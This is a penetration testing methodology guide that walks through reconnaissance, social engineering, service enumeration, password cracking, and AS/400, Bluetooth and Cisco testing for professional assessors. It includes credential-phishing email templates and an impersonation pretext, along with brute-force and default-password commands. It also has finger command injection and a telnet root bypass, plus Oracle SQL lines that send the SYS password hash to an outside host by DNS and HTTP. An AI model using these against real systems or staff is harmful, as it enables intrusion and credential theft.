Penetration Testing Framework 0.4

Author: Toggmeister (a.k.a Kev Orrey) & Lee Lawson

Changes:

Wireless Pen Testing section including toolkit, CVE references, white papers etc. extensive input from Matt Byrne at WirelessDefence.org
AS/400 section including toolkit, CVE references etc. courtesy of Nabil OUCHN, Security-Database.com co-founder
VoIP Section including toolkit, CVE references, white papers etc. (Kev)
BlueTooth Section including toolkit, CVE references, white papers etc. (Kev)
Cisco Section including toolkit, CVE references, white papers etc. (Lee)
Numerous Changes throughout.
Broken URL's fixed.

Penetration Testing Framework

Pre-Inspection Visit - template

Network Footprinting (Reconnaissance) The tester would attempt to gather as much information as possible about the selected network. Reconnaissance can take two forms i.e. active and passive. A passive attack is always the best starting point as this would normally defeat intrusion detection systems and other forms of protection etc. afforded to the network. This would usually involve trying to discover publicly available information by utilising a web browser and visiting newsgroups etc. An active form would be more intrusive and may show up in audit logs and may take the form of an attempted DNS zone transfer or a social engineering type of attack.

Whois is widely used for querying authoritive registries/ databases to discover the owner of a domain name, an IP address, or an autonomous system number of the system you are targetting.

Online DNS one-stop shop, with the ability to perform a great deal of disparate DNS type queries.

Autonomous System lookups and other online tools available.

Metasearch engine that visually presents its results.

Online search tool allowing queries for host information.

Excellent website allowing DNS and AS lookups to be performed with a graphical display of the results with pointers, A, MX records and AS connectivity displayed.

Website listing a large number links to online traceroute resources.

Wayback Machine

Stores older versions of websites, making it a good comparison tool and excellent resource for previously removed data.

Internet Search

General Information

Web Investigator

Friends Reunited

Ebay - profiles etc.

EDGAR - Company information, including real-time filings. US

Google Finance - General Finance Portal

Hoovers - Business Intelligence, Insight and Results. US and UK

Companies House UK

Land Registry UK

Google Hacking Database

DNS Record Retrieval from publically available servers

Database Settings

Internal IP ranges

Reverse DNS for IP Range

Social Engineering

Hi there, I am currently carrying out an Active Directory Health Check
for TARGET COMPANY and require to re-synchronise some outstanding
accounts on behalf of the IT Service Desk. Please reply to me
detailing the username and password you use to logon to your desktop
in the morning. I have checked with MR JOHN DOE, the IT Security
Advisor and he has authorised this request. I will then populate the
database with your account details ready for re-synchronisation with
Active Directory such that replication of your account will be
re-established (this process is transparent to the user and so
requires no further action from yourself). We hope that this exercise
will reduce the time it takes for some users to logon to the network.

Best Regards,

Andrew Marks

Good Morning,

The IT Department had a critical failure last night regarding remote access to the corporate network, this will only affect users that occasionally work from home.

If you have remote access, please email me with your username and access requirements e.g. what remote access system did you use? VPN and IP address etc, and we will reset the system. We are also using this 'opportunity' to increase the remote access users, so if you believe you need to work from home occasionally, please email me your usernames so I can add them to the correct groups.

If you wish to retain your current credentials, also send your password. We do not require your password to carry out the maintainence, but it will change if you do not inform us of it.

We apologise for any inconvenience this failure has caused and are working to resolve it as soon as possible. We also thank you for your continued patience and help.

Kindest regards,

lee
EMAIL SIGNATURE

Contact Details

Contact Details

New IT employee

New IT employee.
"Hi, I'm the new guy in IT and I've been told to do a quick survey of users on the network. They give all the worst jobs to the new guys don't they? Can you help me out on this?"

Get the following information, try to put a "any problems with it we can help with?" slant on it.
Username
Domain
Remote access (Type - Modem/VPN)
Remote email (OWA)
Most used software?
Any comments about the network?
Any additional software you would like?
What do you think about the security on the network? Password complexity etc.
Now give reasons as to why they have complexity for passwords, try and get someone to give you their password and explain how you can make it more secure.

"Thanks very much and you'll see the results on the company boards soon."

Turning up on the premise of a snap fire inspection, in line with the local government initiatives on fire safety in the workplace.

Ensure you have a suitable appearance - High visibility jacket - Clipboard - ID card (fake).

Check for:
number of fire extinguishers, pressure, type.
Fire exits, accessibility etc.

Look for any information you can get. Try to get on your own, without supervision!

Satalitte Imagery

Building layouts

Dumpster Diving

Discovery & Probing. Enumeration can serve two distinct purposes in an assessment:
OS Fingerprinting
Remote applications being served.
OS fingerprinting or TCP/IP stack fingerprinting is the process of determining the operating system being utilised on a remote host. This is carried out by analyzing packets received from the host in question. There are two distinct ways to OS fingerprint, actively (i.e. nmap) or passively (i.e. scanrand).

Passive OS fingerprinting determines the remote OS utilising the packets received only and does not require any packets to be sent.
Active OS fingerprinting is very noisy and requires packets to be sent to the remote host and waits for a reply, (or lack thereof). Disparate OS's respond differently to certain types of packet, (the response is governed by an RFC and any proprietary responses the vendor (notably Microsoft) has enabled within the system) and so custom packets may be sent.

Remote applications being served on a host can be determined by an open port on that host. By port scanning it is then possible to build up a picture of what applications are running and tailor the test accordingly.

Default Port Lists

Enumeration tools and techniques - The vast majority can be used generically, however, certain bespoke application require there own specific toolsets to be used. Default passwords are platform and vendor specific

General Enumeration Tools

nmap -n -A -P0 -p- -T Agressive -iL nmap.targetlist -oX nmap.syn.results.xml

nmap -sU -P0 -v -O -p 1-30000 -T polite -iL nmap.targetlist > nmap.udp.results

nmap -sV -P0 -v -p 21,22,23,25,53,80,443,161 -iL nmap.targets > nmap.version.results

grep "appears to be up" nmap_saved_filename | awk -F\( '{print $2}' | awk -F\) '{print $1}' > ip_list

nc -v -w 2 -z IP_Address port_range/port_number

nc -v -n IP_Address port

amap [-A|-B|-P|-W] [-1buSRHUdqv] [[-m] -o <file>] [-D <file>] [-t/-T sec] [-c cons] [-C retries] [-p proto] [-i <file>] [target port [port] ...]

amap -bqv 192.168.1.1 80

xprobe2 192.168.1.1

./sinfp.pl -i -p

nbtscan [-v] [-d] [-e] [-l] [-t timeout] [-b bandwidth] [-r] [-q] [-s separator] [-m retransmits] (-f filename) |
(<scan_range>)

hping ip_address

scanrand ip_address:all

unicornscan [options `b:B:d:De:EFhi:L:m:M:pP:q:r:R:s:St:T:w:W:vVZ:' ] IP_ADDRESS/ CIDR_NET_MASK: S-E

netenum network/netmask timeout

fping -a -d hostname/ (Network/Subnet_Mask)

Firewall Specific Tools

firewalk -p [protocol] -d [destination_port] -s [source_port] [internal_IP] [gateway_IP]

host 1 ./ftestd -i eth0 -v host 2 ./ftest -f ftest.conf -v -d 0.01 then ./freport ftest.log ftestd.log

Default Passwords (Examine list)

Passwords (Numeric)

Closed TCP Ports

Closed UDP Ports

Service Probing

SMTP Mail Bouncing

Source Port Scans

TCP/UDP 53 (DNS)

TCP 20 (FTP Data)

TCP/UDP 88 (Kerberos)

Firewall Assessment

TCP/UDP/ICMP responses

SSH port 22 open

Fingerprint server

telnet ip_address 22 (banner grab)

Cisco SSH 1.25

telnet 192.168.1.1 22
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
SSH-1.5-Cisco-1.25

Open SSH 2.0

telnet 192.168.1.1 22
Trying 192.168.1.1...
Connected to 192.168.1.1.
Excape character is '^]'.
SSH-2.0-OpenSSH_3.5p1

SSH Communications SSH 2.2.0

telnet 192.168.1.1 22
Trying 192.168.1.1...
Connected to 192.168.1.1.
Excape character is '^]'.
SSH-1.99-2.2.0

F-Secure SSH 1.3.6

telnet 192.168.1.1 22
Trying 192.168.1.1...
Connected to 192.168.1.1.
Excape character is '^]'.
SSH-1.5-1.3.6_F-SECURE_SSH

scanssh -p -r -e excludes random(no.)/Network_ID/Subnet_Mask

Password guessing

ssh root@ip_address

./b -l username -h ip_address -p 22 -2 < password_file_location

Hydra brute force

Examine sshd_config or similar files

Review hostkey files

Telnet port 23 open

Fingerprint server

telnet ip_address

Common Banner List
OS / Banner
Solaris 8 / SunOS 5.8
Solaris 2.6 / SunOS 5.6
Solaris 2.4 or 2.5.1/ Unix(r) System V Release 4.0 (hostname)
SunOS 4.1.x / SunOS Unix (hostname)
FreeBSD / FreeBSD/i386 (hostname) (ttyp1)
NetBSD / NetBSD/i386 (hostname) (ttyp1)
OpenBSD / OpenBSD/i386 (hostname) (ttyp1)
Red Hat 8.0 / Red Hat Linux release 8.0 (Psyche)
Debian 3.0 / Debian GNU/Linux 3.0 / hostname
SGI IRIX 6.x / IRIX (hostname)
IBM AIX 4.1.x / AIX Version 4 (C) Copyrights by IBM and by others 1982, 1994.
IBM AIX 4.2.x or 4.3.x/ AIX Version 4 (C) Copyrights by IBM and by others 1982, 1996.
Nokia IPSO / IPSO (hostname) (ttyp0)
Cisco IOS / User Access Verification
Livingston ComOS/ ComOS - Livingston PortMaster

telnet -l "-froot" hostname (Solaris 10+)

Password Attack

Common passwords
Manufacturer / Username-password combinations
Cisco / cisco, c, !cisco, enable, system, admin, router
3Com / admin, adm, tech, synnet, manager, monitor, debug, security
Bay Networks / security, manager, user
D-Link / private, admin, user, year2000, d-link
Xyplex / system, access

Hydra brute force

Sendmail Port 25 open

telnet ip_address 25 (banner grab)

VRFY username (verifies if username exists - enumeration of accounts)

EXPN username (verifies if username is valid - enumeration of accounts)

Mail Spoofing - HELO anything MAIL FROM: spoofed_address RCPT TO:valid_mail_account DATA . QUIT

DNS port 53 open

dig [ @server ] [-b address ] [-c class ] [-f filename ] [-k filename ] [-p port# ] [-t type ] [-x addr ] [-y name:key ] [-4 ] [-6 ] [name ] [type ] [class ] [queryopt... ]

host [-aCdlnrTwv ] [-c class ] [-N ndots ] [-R number ] [-t type ] [-W wait ] name [server ]
-v verbose format
-t (query type) Allows a user to specify a record type i.e. A, NS, or PTR.
-a Same as ?t ANY.
-l Zone transfer (if allowed).
-f Save to a specified filename.

nslookup [ -option ... ] [ host-to-find | - [ server ]]

txdns -rt -t domain_name

txdns -x 50 -bb domain_name

txdns --verbose -fm wordlist.dic --server ip_address -rr SOA domain_name -h c: \hostlist.txt

whois
-h Use the named host to resolve the query
-a Use ARIN to resolve the query
-r Use RIPE to resolve the query
-p Use APNIC to resolve the query
-Q Perform a quick lookup

TFTP port 69 open

Solarwinds TFTP server

tftp ip_address PUT local_file

tftp ip_address GET conf.txt (or other files)

Finger Port 79 open

Finger commands

finger "|/bin/id@example.com"

finger "|/bin/ls -a /@example.com"

finger user@host@victim

finger @internal@external

Web Ports 80, 8080 etc. open

Use Firefox to enumerate information (see if web server running etc.)

Telnet ip_address port (banner grab)

nikto [-h target] [options]

Examine httpd.conf/ windows config files

lynx [options] startfile/URL Options include -traversal -crawl -dump -image_links -source

SNMP port 161 open

Default Community Strings

Solarwinds SNMP Brute Force

./cat -h <IP> -w SNMP.wordlist

onesixytone -c SNMP.wordlist <IP>

snmpwalk -v <Version> -c <Community string> <IP>

LDAP Port 389 Open

ldapminer -h ip_address -p port (not required if default) -d

bf_ldap -s server -d domain name -u|-U username | users list file name -L|-l passwords list | length of passwords to generate optional: -p port (default 389) -v (verbose mode) -P Ldap user path (default ,CN=Users,)

ldapsearch [-n] [-u] [-v] [-k] [-K] [-t] [-A] [-L[L[L]]] [-M[M]] [-d debuglevel] [-f file] [-D binddn] [-W] [-w passwd] [-y passwdfile] [-H ldapuri] [-h ldaphost] [-p ldapport] [-P 2|3] [-b searchbase] [-s base|one|sub] [-a never|always|search|find] [-l timelimit] [-z sizelimit] [-O security-properties] [-I] [-U authcid] [-R realm] [-x] [-X authzid] [-Y mech] [-Z[Z]] filter [attrs...]

ldapadd [-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-h ldaphost][-p ldap-port][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]

ldapdelete [-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-f file][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-P 2|3][-p ldapport][-O security-properties][-U authcid][-R realm][-x][-I][-Q] [-X authzid][-Y mech][-Z[Z]][dn]

ldapmodify [-a][-c][-S file][-n][-v][-k][-K][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile][-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x][-X authzid][-Y mech][-Z[Z]][-f file]

ldapmodrdn [-r][-n][-v][-k][-K][-c][-M[M]][-d debuglevel][-D binddn][-W][-w passwd][-y passwdfile] [-H ldapuri][-h ldaphost][-p ldapport][-P 2|3][-O security-properties][-I][-Q][-U authcid][-R realm][-x] [-X authzid][-Y mech][-Z[Z]][-f file][dn rdn]

MS Windows NetBIOS Ports 135-139,445 open

net use \\192.168.1.1\ipc$ "" /u:""

net view \\ip_address

Enumeration tab.

enum <-UMNSPGLdc> <-u username> <-p password> <-f dictfile> <hostname|ip>

Run Hydra brute force

Run NAT (NetBIOS Auditing Tool)

Run Cain & Abel

SQL Server Port 1433 1434 open

Run Hydra brute force

sqlbf -u hashes.txt -d dictionary.dic -r out.rep - Dictionary Attack

sqlbf -u hashes.txt -c default.cm -r out.rep - Brute-Force Attack

sqlping ip_address/hostname

Oracle Port 1521 Open

Run Oracle TNSLSNR

Will respond to: [ping] [version] [status] [service] [change_password] [help] [reload] [save_config] [set log_directory] [set display_mode] [set log_file] [show] [spawn] [stop]

perl tnscmd.pl -h ip_address

perl tnscmd.pl version -h ip_address

perl tnscmd.pl status -h ip_address

perl tnscmd.pl -h ip_address --cmdsize (40 - 200)

sh opwg.sh -s ip_address

opwg.bat -s ip_address

sh oquery.sh -s ip_address -u username -p password -d SID OR c:\oquery -s ip_address -u username -p password -d SID

sh oscanner.sh -s ip_address

oscanner.exe -s ip_address

sh reportviewer.sh oscanner_saved_file.xml

reportviewer.exe oscanner_saved_file.xml

Run Oracle Security Check (needs credentials)

Run NGS Squirrel for Oracle

Use DBVisualisor

Sql scripts from pentest.co.uk

Manual sql input of previously reported vulnerabilties

Understanding SQL Injection

SQL Injection walkthrough

SQL Injection by example

Advanced SQL Injection in Oracle databases

Blind SQL Injection

Oracle default password list

tnsver host [port]

Service Register

Service-register.exe ip_address

DNS/HTTP Enumeration

SQL> SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE US ERNAME='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL; SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT PASSWORD FROM DBA_USERS WHERE USERNAM E='SYS')||'.vulnerabilityassessment.co.uk') FROM DUAL

SQL> select utl_http.request('http://gladius:5500/'||(SELECT PASSWORD FROM DBA_U SERS WHERE USERNAME='SYS')) from dual;

breakable (Targets Application Server Port)

breakable.exe host url [port] [v]
host ip_address of the Oracle Portal Server
url PATH_INFO i.e. /pls/orasso
port TCP port Oracle Portal Server is serving pages from
v verbose

SQLInjector (Targets Application Server Port)

sqlinjector -t ip_address -a database -f query.txt -p 80 -gc 200 -ec 500 -k NGS SOFTWARE -gt SQUIRREL

sqlinjector.exe -t ip_address -p 7777 -a where -gc 200 -ec 404 -qf q.txt -f plsql.txt -s oracle

NFS Port 2049 open

showmount -e hostname/ip_address

mount -t nfs ip_address:/directory_found_exported /local_mount_point

Interact with NFS share and try to add/delete

Exploit and Confuse Unix

Compaq/HP Insight Manager Port 2301,2381open

Authentication Method

Host OS Authentication

Default Authentication

Default Passwords

RDesktop port 3389 open

Remote Desktop Connection

Sybase Port 5000+ open

sybase-version ip_address from NGS

SIP Port 5060 open

nc IP_Address Port

smap IP_Address/Subnet_Mask

smap -o IP_Address/Subnet_Mask

smap -l IP_Address

Tracing paths: - sipsak -T -s sip:usernaem@domain

Options request:- sipsak -vv -s sip:username@domain

Query registered bindings:- sipsak -I -C empty -a password -s sip:username@domain

tftp bruteforcer

Default dictionary file

./tftpbrute.pl IP_Address Dictionary_file Maximum_Processes

VNC port 5900^ open

5900^ for direct access.
5800 for HTTP access.

Password Attacks

Registry Locations

\HKEY_CURRENT_USER\Software\ORL\WinVNC3

\HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3

0x238210763578887

Jet Direct 9100 open

Password cracking

John the Ripper

./unshadow passwd shadow > file_to_crack

./john -single file_to_crack

./john -w=location_of_dictionary_file -rules file_to_crack

./john -show file_to_crack

./john --incremental:All file_to_crack

rcrack c:\rainbowcrack\*.rt -f pwfile.txt

fgdump [-t][-c][-w][-s][-r][-v][-k][-l logfile][-T threads] {{-h Host | -f filename} -u Username -p Password | -H filename} i.e. fgdump.exe -u hacker -p hard_password -c -f target.txt

pwdump [-h][-o][-u][-p] machineName

L0phtcrack (Note: - This tool was aquired by Symantec from @Stake and it is there policy not to ship outside the USA and Canada

Domain credentials

Vulnerability Assessment - Utilising vulnerability scanners all discovered hosts can then be tested for vulnerabilities. The result would then be analysed to determine if there any vulnerabilities that could be exploited to gain access to a target host on a network. A number of tests carried out by these scanners are just banner grabbing/ obtaining version information, once these details are known, the version is compared with any common vulnerabilities and exploits (CVE) that have been released and reported to the user. Other tools actually use manual pen testing methods and display the output received i.e. showmount -e ip_address would display the NFS shares available to the scanner whcih would then need to be verified by the tester.

Nessus (Windows)

NGS Squirrel for Oracle

NGS Squirrel for SQL

Oval Interpreter

Microsoft Security Bulletin

Common Vulnerabilities and Exploits (CVE)

National Vulnerability Database (NVD)

The Open Source Vulnerability Database (OSVDB)

United States Computer Emergency Response Team (US-CERT)

Computer Emergency Response Team

Mozilla Security Information

PacketStorm Security

Security Tracker

Vulnerabilities.org

Wireless Vulnerabilities and Exploits (WVE)

Network Backbone

Generic Toolset

Wireshark (Formerly Ethereal)

Passive Sniffing

Usernames/Passwords

ip.src == ip_address

ip.dst == ip_address

tcp.dstport == port_no.

! ip.addr == ip_address

(ip.addr eq ip_address and ip.addr eq ip_address) and (tcp.port eq 1829 and tcp.port eq 1863)

./cisco-torch.pl <options> <IP,hostname,network> or ./cisco-torch.pl <options> -F <hostlist>

NTP-Fingerprint

perl ntp-fingerprint.pl -t [ip_address]

./p0f [ -f file ] [ -i device ] [ -s file ] [ -o file ] [ -w file ] [ -Q sock ] [ -u user ] [ -FXVONDUKASCMRqtpvdlr ] [ -c size ] [ -T nn ] [ 'filter rule' ]

Manual Check (Credentials required)

AS/400 Auditing

Remote Auditing

Information Gathering

Nmap using common iSeries (AS/400) services.

Unsecured services (Port;name;description)

446;ddm;DDM Server is used to access data via DRDA and for record level access

449;As-svrmap; Port Mapper returns the port number for the requested server

2001;As-admin-http;HTTP server administration

5544;As-mtgctrlj;Management Central Server used to manage multiple AS/400S in a net

5555;As-mtgctrl;Management Central Server used to manage multiple AS/400S in a net

8470;As-Central;Central Server used when a client Access licence is required for downloading translation tables

8471;As-Database;Database server used for accessing the AS/400 database

8472;As-dtaq;Data Queue server allows access to the AS/400 data queues used for passing data between applications

8473;As-file;File Server is used for accessing any part of the AS/400

8474;as-netprt; Printer Server used to access printers known to the AS/400

8475;as-rmtcmd;Remote Command Server used to send commands from PC to an AS/400

8476;as-signon;Sign-on server is used for every client Access connection to authenticate users and to change passwords

8480;as-usf;Ultimedia facilities used for multimedia data

Secured services (Port;name;description)

447;ddm-ssl;DDM Server is used to access data via DRDA and for record level access

448;ddm;DDM Server is used to access data via DRDA and for record level access

992;telnet-ssl;Telnet Server

2010;As-admin-https;HTTP server administration

5566;As-mtgctrl-ss;Management Central Server used to manage multiple AS/400S in a net

5577;As-mtgctrl-cs;Management Central Server used to manage multiple AS/400S in a net

9470;as-central-s;Central Server used when a client Access licence is required for downloading translation tables

9471;as-database-s;Database Server

9472;as-dtaq-s;Data Queue server allows access to the AS/400 data queues used for passing data between applications

9473;as-file-s;File Server is used for accessing any part of the AS/400

9474;as-netprt-s; Printer Server used to access printers known to the AS/400

9475;as-rmtcmd-s;Remote Command Server used to send commands from PC to an AS/400

9476;as-signon-s;Sign-on server is used for every client Access connection to authenticate users and to change passwords

NetCat (old school technique)

nc -v -z -w target ListOfServices.txt | grep "open"

Save list of secured and unsecured ports into a file.

Banners Grabbing

tn5250.sourceforce.net

Mochasoft (trial)

IBM Client Access iSeries (install for Debian)

Good How-To (in French).

Security-Database transcription in english

Download the Package from location

Convert RPM to DEB package

Aptitude install alien

alien iSeriesAccess-XX.rpm

Installing Deb Package

dpkg -i iSeriesAccess-xxx.deb

Running binary file

/opt/ibm/iSeriesAccess/bin/ibm5250

Sometimes this error occurs : error while loading libXm.so.3

This means OpenMotif is missing

Add deb http://ftp2.fr.debian.org/ sid main non-free to /etc/apt/sources.list

aptitude update

aptitude install libmotif3

Remove added line from /etc/apt/sources.list and launch aptitute update

After installing OpenMotif, this error sometimes occurs : error while loading libcwbcore.so

This means Lib Path to iseriesaccess could not be reached

You should add iseriesaccess (/opt/ibm/iSeriesAccess/lib) to /etc/ld.so.conf

run the command : ldconfig

Old School hack : LD_LIBRARY_PATH=/opt/ibm/iSeriesAccess/lib/:${LD_LIBRARY_PATH} /opt/ibm/iSeriesAccess/bin/ibm5250

Search for binary using dpkg -L iseriesaccess

echo quit | nc -v target 21

echo GET / | nc -v target 80

Browser HTTP administrative (if available)

http://target:2001

http://target:2010

echo quit | nc target 110

Basic POP3 retriever

User Enumeration

Default AS/400 users (UserID;PASSWORD1;PASSWORD2)

11111111;11111111

22222222;22222222

QSECOFR;QSECOFR;11111111;22222222

QSRVBAS;QSRVBAS

QDFTOWN;QDFTOWN

QSYSOPR;QSYSOPR

QSRV;QSRV;IBMCEL

POP3 authentication Errors

CPF2204: User profile XXXX not found

CPF22E2: Password not correct for User profile XXXX

CPF22E3: User profile XXXX is disabled

CPF22E4: Password for User profile XXXX has expired

CPF22E5: No Password associated with User profile XXXX

Qsys symbolic link (if ftp is enabled)

ftp target | quote stat | quote site namefmt 1

quote site listfmt 1

quote rcmd ADDLNK OBJ('/qsys.lib') NEWLNK('/temp/qsys')

quote rcmd QSH CMD('ln -fs /qsys.lib /temp/qsys')

dir /temp/qsys/*.usrprf

Here you should list some profils

Need os400-sys value from ibm-slapdSuffix

Think to grab it using FTP from (QIBM/UserData/OS400/DirSrv/

or file ibmslapd.conf

Resolve IP address.

Telnet Value screen.

Server : AS400_ANDOLINI

COMPANY : DONCORLEONE.COM

Value should be : AS400_ANDOLINI.DONCORLEONE.COM

Tool to browse LDAP

See vulnerabilityassessment.co.uk review

Luma Ldap brower and more

LdapSearch (unix utility)

ldapsearch -h AS400SERVER \ -b "cn=accounts,os400-sys=AS400-Name" \ -D "os400-profile=$LOGIN$,cn=accounts,os400-sys=AS400-Name" \ -w $PASSWRD -L -s sub "os400-profile=*" > MyUSERS.log

AS400-Name : is the value you grabbed before

More Advanced information on User

ldapsearch -h target \ -b "cn=accounts,os400-sys=AS400-Name" \ -D "os400-profile=$LOGIN$,cn=accounts,os400-sys=AS400-Name" \ -w $PASSWRD -L -s sub "os400-profile=USER_YOU_WANT" > COMPLETEINFO_ONUSER.log

CVE-1999-1012 - Severity : Low - CVSS : 3.3

CVE-1999-1279 - Severity : Low - CVSS : 3.3

CVE-2000-1038 - Severity : Low - CVSS : 3.3

CVE-2002-1731 - Severity : Low - CVSS : 2.3

CVE-2002-1822 - Severity : Low - CVSS : 3.3

CVE-2005-0899 - Severity : Low - CVSS : 2.3

CVE-2005-0868 - Severity : High - CVSS : 7.0

CVE-2005-1025 - Severity : Low - CVSS : 3.3

CVE-2005-1133 - Severity : Low - CVSS : 3.3

CVE-2005-1182 - Severity : Low - CVSS : 3.3

CVE-2005-1238 - Severity : High - CVSS : 9.0

CVE-2005-1239 - Severity : Low - CVSS : 3.3

CVE-2005-1240 - Severity : High - CVSS : 7.0

CVE-2005-1241 - Severity : High - CVSS : 7.0

CVE-2005-1242 - Severity : Low - CVSS : 3.3

CVE-2005-1243 - Severity : Low - CVSS : 3.3

CVE-2005-1244 - Severity : High - CVSS : 7.0

Access with Work Station Gateway

http://target:5061/WSG

Try default AS/400 accounts.

Network attacks (next release)

Hijacking Terminals

Hacking from AS/400

System Value Security

Verify object on restore verifies object signatures

during restore.

Do not verify signatures on restore, allowing such a command

or program represents an integrity risk to your system

Maximum sign-on attempts

This restricts the number of times a user can incorrectly attempt

to sign-on to the system before being disabled.?

The action taken by the system when this number is exceeded

is determined by the preceding parameter

Inactive Job Time-Out

Recommended value is 30

Value 0 means the system will never

log a user off the system.?

Password Policy

Password expiration interval specifies whether user passwords expire or not,

controls the number of days allowed before a password must be changed.

Number of days before expiration interval exceeds the recommended, this

compromises the password security on your system

Duplicate password control prevents users

from specifying passwords that they have

used previously

Recommended value is 1

This prevents passwords from being reused for (returned value) generations for a user ID.?

Minimum password length specifies the

minimum number of characters for a password

Recommended value is 5 ( 6 is a must)

This forces passwords to a minimum length of (returned value) alphanumeric characters.

Maximum password length maximum number

of characters for a password

Recommended value is 10

This limits the length of a password to (returned value) alphanumeric characters.?

Password level the system can be set to

allow for user profile passwords from 1-10 or

1-128 characters

This ensures that all security related functions are audited and stored

in a log file for review and follow-up

Recommended value is *SECURITY

System Audit Settings

*AUDLVL System auditing : System auditing events logged and may be audited

*OBJAUD Object auditing : Object auditing activity defined logged and may be audited

*AUTFAIL Authorized failure: All access failure,Incorrect Password or User ID logged and may be audited

*PGMFAIL System integrity violation : Blocked instructions,Validation failure,Domain violation logged and may be audited

*JOBDTA Job tasks : Job start and stop data(disconnect,prestart) logged and may be audited

*NETCMN Communication & Networking tasks : Action that occur for APPN filtering support logged and may be audited

*SAVRST Object restore: Restore(PGM,JOBD,Authority,CMD,System State) logged and may be audited

*SECURITY Security tasks: All security related functions(CRT/CHG/DLT/RST) logged and may be audited

*SERVICE Services HW/SW: Actions for performing HW or SW services logged and may be audited

*SYSMGT System management: Registration,Network,DRDA,SysReplay,Operational not logged and cannot be audited

*CREATE Object creation: Newly created objects, Replace exisitng objects logged and may be audited

*DELETE Object deletion: All deletion of external objects logged and may be audited

*OFCSRV Office tasks: Office tasks(system distribution directory,Mail) logged and may be audited

*OPTICAL Optical tasks: Optical tasks(add/remove optical cartridge,Autho) logged and may be audited

*PGMADP Program authority adoption: Program adopted authority, gain access to an object logged and may be audited

*OBJMGT Object management: Object management logged and may be audited

*SPLFDTA Spool management: Spool management logged and may be audited

Special Authorities Definitions

All-Object Authority (*ALLOBJ) : This is the most powerful authority on any AS400 system. This authority grants the user complete access to everything on the system. A user with All-Object Authority cannot be controlled.

Service Authority (*SERVICE) : Service Authority provides the user with the ability to change system hardware and disk configurations, to sniff network traffic and to put programs into debug mode (troubleshooting mode) and see their internal workings. The system services tools include the ability to trace systems functions and to patch and alter user made and IBM delivered programs on disk

manipulate data on disk.

Save and Restore Authority (*SAVSYS) : This authority allows the user to backup and restore objects. The user need not have authority to those objects. The risk with SAVSYS Authority is that a user with this authority can save all objects (including the most sensitive files) to disk (save file), delete any object (with the Free Storage option), restore the file to an alternate library, and then view and alter the information. Should the user alter the information, they would have the ability to replace the production object with

their saved version.

System Configuration Authority (*IOSYSCFG) : System communication configuration authority can also be used to set up nearly invisible access from the outside as a security officer -- without needing a password. System Configuration Authority provides the ability to configure and change communication configurations (e.g. lines, controllers, devices), including the system's TCP/IP and Internet connection information.

Spool Control Authority (*SPLCTL) : Spool Control authority gives the user read and modify all spooled objects (reports, job queue entries, etc.) on your system. The user may hold, release and clear job and output queues, even if they are not authorized to those queues.

Security Administrator Authority (*SECADM) : Security Administrator grants the authority to create, change and delete user ID?s. This authority should be reserved to essential administration personnel only.

Job Control Authority (*JOBCTL) : Job Control Authority can be used to power down the system or to terminate subsystems or individual jobs at any time, even during critical operational periods. Job Control Authority provides the capability to control other user?s jobs as well as their spooled files and printers.

Audit Authority (*AUDIT) : Audit Authority puts a user in control of the system auditing functions. Such a user can manipulate the system values that control auditing and control user and object auditing. These users could also turn off auditing for sensitive objects in an effort to obscure certain actions

*PGMR ---> Programmer

*SECADM ---> Security Administrator

*SECOFR ---> Security Officer

*SYSOPR --->System Operator

*USER ---> User

Bluetooth Specific Tools

bluebugger [OPTIONS] -a <addr> [MODE]

BlueStumbler.org

Bluejacking.com

ibluejackedyou.com

Common Vulnerabilities and Exploits (CVE)

Vulnerabilties and exploit information relating to these products can be found here: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=bluetooth

LG Chocolate KG800 phone allows remote attackers to cause a denial of service

Nokia N70 phone allows remote attackers to cause a denial of service

Motorola MOTORAZR V3 phone allows remote attackers to cause a denial of service

Sony Ericsson K700i and W810i phones allow remote attackers to cause a denial of service

Cisco Specific Testing

Scan & Fingerprint.

To effectively scan a Cisco device, both TCP and UDP ports across the whole range must be checked.
There are a number of tools that can achieve the goal, however we will stick with nmap examples.

TCP scan.
This will perform a TCP scan, fingerprint, be verbose, scan ports 1-65535 against IP 10.1.1.1 and output the results in normal mode to TCP.scan.txt file.
nmap -sT -O -v -p 1-65535 <IP> -oN TCP.scan.txt

UDP scan.
This will perform a UDP scan, be verbose, scan ports 1.65535 against IP 10.1.1.1 and output the results in normal mode to UDP.scan.txt file.
nmap -sU -v -p 1-65535 <IP> -oN UDP.scan.txt

ciscos is a scanner for discovering Cisco devices in a given CIDR network range.

cisco scanner
Output stored in cisco.txt
Usage: ./ciscos <IP> <class> [option]
Class A scan: ciscos 127 1
Class B scan: ciscos 127.0 2
Class C scan: ciscos 127.0.0 3
[-C <thread>] maximum threads
[-t <timeout>] seconds before connection timeout

mass-scanner is a simple scanner for discovering Cisco devices within a given network range.

cisco-torch
cisco-torch is a fingerprinter for Cisco routers.

There are a number of different fingerprinting switches, such as SSH, telnet or HTTP e.g. The -A switch should perform all scans, however I have found it to be unreliable.

BT cisco-torch-0.4b # cisco-torch.pl -A 10.1.1.175
Using config file torch.conf...
Loading include and plugin ...

###############################################################
# Cisco Torch Mass Scanner #
# Becase we need it... #
# http://www.arhont.com/cisco-torch.pl #
###############################################################

List of targets contains 1 host(s)
14489: Checking 10.1.1.175 ...
Fingerprint: 2552511255251325525324255253311310
Description: Cisco IOS host (tested on 2611, 2950 and Aironet 1200 AP)
Fingerprinting Successful

Cisco-IOS Webserver found
HTTP/1.1 401 Unauthorized
Date: Mon, 01 Mar 1993 00:34:11 GMT
Server: cisco-IOS
Accept-Ranges: none
WWW-Authenticate: Basic realm="level_15_access"
401 Unauthorized

Cisco WWW-Authenticate webserver found
HTTP/1.1 401 Unauthorized
Date: Mon, 01 Mar 1993 00:34:11 GMT
Server: cisco-IOS
Accept-Ranges: none
